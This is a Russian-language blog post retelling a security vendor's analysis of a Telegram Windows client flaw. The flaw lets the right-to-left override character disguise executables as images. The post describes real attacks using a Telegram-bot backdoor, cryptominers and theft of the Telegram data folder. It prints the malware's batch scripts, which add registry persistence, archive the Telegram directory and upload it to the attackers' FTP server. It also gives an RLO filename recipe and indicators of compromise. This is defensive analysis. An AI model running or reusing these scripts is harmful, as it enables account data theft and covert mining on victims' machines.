Последняя уязвимость в телеграм

Довольно интересную статью разместила команда Касперского 13 февраля 2017 года на своем сайте securelist.ru
Дело в том, что об уязвимости нулевого дня они знали еще в октябре 2017. Обычно данные о проблемах в том или ином софте пишут уже после того, как его исправили, мол была такая уязвимость, теперь качайте все обновления. Получается, около 4х месяцев хакеры могли эксплуатировать уязвимость в виндовс-клиенте Telegram. Она заключается в использовании классической атаки right-to-left override при отправке файлов собеседнику.

Right-to-left override в двух словах

Специальный непечатный символ right-to-left override (RLO) служит для изменения порядка следующих за ним в строке знаков на обратный, в таблице Unicode он представлен как ‘U+202E’ (легитимной областью использования RLO, в частности, является набор текста на арабском языке). Атака подразумевает использование символа с целью введения жертвы в заблуждение, чаще всего, при отображении имени и расширения исполняемого файла: уязвимое к этой атаке ПО отображает его имя частично или в перевернутом виде.

new mac Malware (U+202E)

Эту уязвимость опубликовал финский специалист по информационной безопасности Mikko Hypponen еще в июле 2013 года.

Как взламывали Telegram?

Процесс эксплуатации уязвимости с последующим взломом Telegram выглядел следующим образом:

Злоумышленник подготавливает зловред к отправке. Например, JS-файл он переименовывает следующим образом:
evil.js -> photo_high_re*U+202E*gnp.js
Где *U+202E* — RLO символ, который должен заставить Telegram перевернуть оставшиеся символы gnp.js. Обратите внимание, что это — все тот же файл с расширением *.js.
Атакующий отправляет сообщение и вместо JS-файла получатель видит — сюрприз! — PNG-картинку:

отправка сообщения с файлом в телеграм

Нажимаем на файл и появляется стандартное уведомление безопасности Виндовс

уведомление безопасности Windows

Появляется она только в тех случаях, если данная опция была отключена в системных настройках. После подтверждения пользователя вредоносный файл будет запущен.

ITW эксплуатация

После обнаружения уязвимости, мы начали изучать случаи ее реальной эксплуатации. Среди них можно выделить несколько основных сценариев.

Удаленное управление через Telegram

Данная атака осуществляется с целью получить контроль над системой жертвы путем изучения окружения и установки дополнительных модулей.

схема удаленного управления компьютером через телеграм

Общая схема атаки

На первой стадии жертве отправляется загрузчик, написанный на .Net и использующий Telegram API в качестве командного протокола:

общая схема атаки телеграм

Управление компьютерами осуществляется через ботов в телеграм. По токену и API можно определить через каких ботов это делается.

бот телеграм перехватывает управление компьютером

После запуска прописывает себя в автозапуск и копирует свой исполняемый файл, в зависимости от окружения, в одну из директорий:

директория файла с исполняемым файлом

После запуска каждые 2 секунды проверяется наличие поступающих от бота команд. Команды реализованы на русском языке! То есть, вполне возможно, телеграм взломали русские хакеры (но это не точно)!

скрин кода с описанием команд на русском языке

Перечень возможных команд показывает, что бот может скрытно разворачивать на целевой системе произвольные бэкдоры, логгеры и прочее вредоносное ПО. В таблице представлен их полный список:

список команд бота телеграм для удаленного управления

С помощью бота можно установить логгер, который будет шпионить за тем, что происходит на зараженном компьютере.

Майнинг через телеграм

Еще 4 месяца назад это не было фантастикой. Злоумышленники, получившие доступ к компьютеру могли запустить на нем скрипты для майнинга. Понятное дело, что владельцу ПК с этого ни копейки не перепадет.

Способ №1

схема атаки телеграм и майнинга

На первой стадии используется SFX-архив со сценарием, запускающим содержащийся в нем исполняемый файл:

Path=%temp%\adr
Setup=%temp%\adr\run.exe
Silent=1
Overwrite=2

Этот run.exe, на самом деле — BAT-файл. После извлечения самого batch-скрипта он выглядит так:

как выглядит скрипт

Видно, что первым делом зловред открывает файл-приманку, который в рассматриваемом случае является картинкой, нужной для усыпления бдительности жертвы.

Далее поочередно стартуют майнеры, причем они запускаются как сервисы, с помощью утилиты nssm.exe, упакованной в тот же SFX-архив:

nheq.exe exe — Equihash майнер для NiceHash (в нашем случае добывал Zcash). Может задействовать ресурсы ЦП и графического ускорителя:

майнер для NiceHash

taskmgn.exe — также широко применяющийся майнер, работает по алгоритму CryptoNight, майнит Fantomcoin и Monero. Характерной чертой является строка с путем к отладочному файлу:

путь к отладочному файлу майнера

Мы наблюдали несколько вариаций этого batch-скрипта, некоторые из них обладают дополнительными возможностями:

дополнительные возможности скрипта майнинга

Этот, например, отключает защитные системы Windows, а после этого авторизуется на FTP-сервере злоумышленников, скачивает и запускает полезную нагрузку. Последняя в данном случае представляла собой SFX-архив, начиненный новыми майнерами и клиентом Remote Manipulator System — аналогом TeamViewer. Используя скрипты AutoIt, зловред разворачивает на атакуемой системе RMS для последующего удаленного доступа:

скрипт для удаленного доступа

Схема атаки примерно такова:

схема атаки через телеграм

Мы изучили этот FTP-сервер и нашли еще несколько файлов, представляющих собой аналогичную полезную нагрузку (вероятно, подгружается другими версиями):

ftp сервер зловреда

Отдельного упоминания заслуживает файл address4.exe. Он, как и остальные экземпляры, представляет собой SFX-архив со следующим содержанием:

SFX-архив

Все компоненты с именем st*.exe – это исполняемые PE-файлы схожим образом конвертированные из batch-скриптов.

SFX-сценарий запускает компонент st1.exe:

Path=%temp%/adress
Setup=%temp%/adress/st1.exe
Silent=1
Overwrite=2

st1.exe прописывает в автозапуск st2.exe, добавляя соответствующую запись в системный реестр:

reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v RUN1 /d %temp%\adress\st2.exe /f

st2.exe стартует вместе с системой:

TIMEOUT /T 10 /NOBREAK #Ждет, пока запустится Telegram
chcp 1251
tskill telegram
taskkill /IM telegram.exe #Завершает процессы Telegram
md %temp%\sss
cd %temp%\sss #Создает временную директорию
«%temp%\adress\WinRAR.exe» A -ibck -inul -r -agYY-mm-dd-hh-mm-ss «%temp%\sss\1.rar» «%appdata%\Telegram Desktop» #Упаковывает директорию Telegram в RAR-архив
TIMEOUT /T 60 /NOBREAK
:begin
ping -n 1 ya.ru |>nul find /i «TTL=» && (start «» %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Проверяет подключение к интернету и запускает st3.exe

А st3.exe предсказуемо авторизуется на FTP-сервере злоумышленников и загружает туда созданный ранее RAR-архив:

@echo XXXXXXXX>command.txt
@echo XXXXXXXX>>command.txt
@echo binary>>command.txt
@echo mput %temp%\sss\*.rar>>command.txt
@echo quit>>command.txt
ftp -s:command.txt -i free11.beget.com
del command.txt
attrib %temp%/adress +H
attrib %temp%/adress\* +H

На самом сервере мы обнаружили несколько подобных архивов с директориями Telegram, украденными у жертв:

архивы с директориями Telegram украденные у жертв

Каждый такой дамп, кроме самих исполняемых и служебных файлов клиента Telegram, содержит зашифрованный локальный кэш, состоящий из различных файлов, использованных в переписках: документы, видео и аудиозаписи, фотографии.

Способ №2

сценарий 2

Атака, как и в предыдущем сценарии, начинается с SFX-архива, который при открытии запускает содержащийся внутри VBS-скрипт. Его основная задача – открыть картинку для отвлечения внимания жертвы, а затем скачать и запустить полезную нагрузку:

задача VBS-скрипта

Полезная нагрузка представляет из себя SFX-архив со следующим сценарием:

SFX-архив со сценарием

svchost.vbs — скрипт, контролирующий запуск майнера CryptoNight (csrs.exe), — следит за списком процессов и при обнаружении среди них диспетчера задач (taskmgr.exe, processhacker.exe) завершает процесс майнера с последующим перезапуском (когда диспетчер будет закрыт).

Скрипт снабжен соответствующими комментариями:

скрипт с комментариями

Сам майнер запускается так:

WshShell.Run «csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0

Адрес пула соответствует криптовалюте Monero.

На самом сервере, кроме указанных файлов с полезной нагрузкой, мы нашли аналогичные SFX-архивы с майнерами:

SFX-архивы с майнерами

Заключение

Похоже, что об уязвимости было известно только злоумышленникам из России, так как все обнаруженные нами случаи эксплуатации происходили именно в этой стране. Кроме того, в ходе подробного изучения атак мы находили множество артефактов, указывающих на почерк киберпреступников из России.

Мы не обладаем точной информацией о том, как долго и в каких версиях была открыта уязвимость, но, со своей стороны, можем отметить, что случаи эксплуатации начались в марте 2017 года. Мы уведомили разработчиков о проблеме, и на сегодняшний день уязвимость не проявляется в продуктах Telegram.

Сейчас можно лишь гадать, как много и как именно она эксплуатировалась, так как в публикации рассмотрены только случаи, выявленные в рамках нашей телеметрии.

IoC
MD5
Первая стадия
650DDDE919F9E5B854F8C375D3251C21
C384E62E483896799B38437E53CD9749
FA391BEAAF8B087A332833E618ABC358
52F7B21CCD7B1159908BCAA143E27945
B1760E8581F6745CBFCBE76FBD0ACBFA
A662D942F0E43474984766197288845B

Полезная нагрузка
B9EEC74CA8B14F899837A6BEB7094F65
46B36F8FF2369E883300F472694BBD4D
10B1301EAB4B4A00E7654ECFA6454B20
CD5C5423EC3D19E864B2AE1C1A9DDBBC
7A3D9C0E2EA27F1B96AEFED2BF8971A4
E89FDDB32D7EC98B3B68AB7681FACCFC
27DDD96A87FBA2C15B5C971BA6EB80C6
844825B1336405DDE728B993C6B52A83
C6A795C27DEC3F5559FD65884457F6F3
89E42CB485D65F71F62BC1B64C6BEC95
0492C336E869A14071B1B0EF613D9899
2CC9ECD5566C921D3876330DFC66FC02
1CE28167436919BD0A8C1F47AB1182C4

C2
http://nord.adr[.]com[.]ua/

Имена

name?gpj.exe
name?gpj.rar
address?gpj.scr
address_?gpj.scr
photoadr?gepj.scr

источник описанных схем: securelist.ru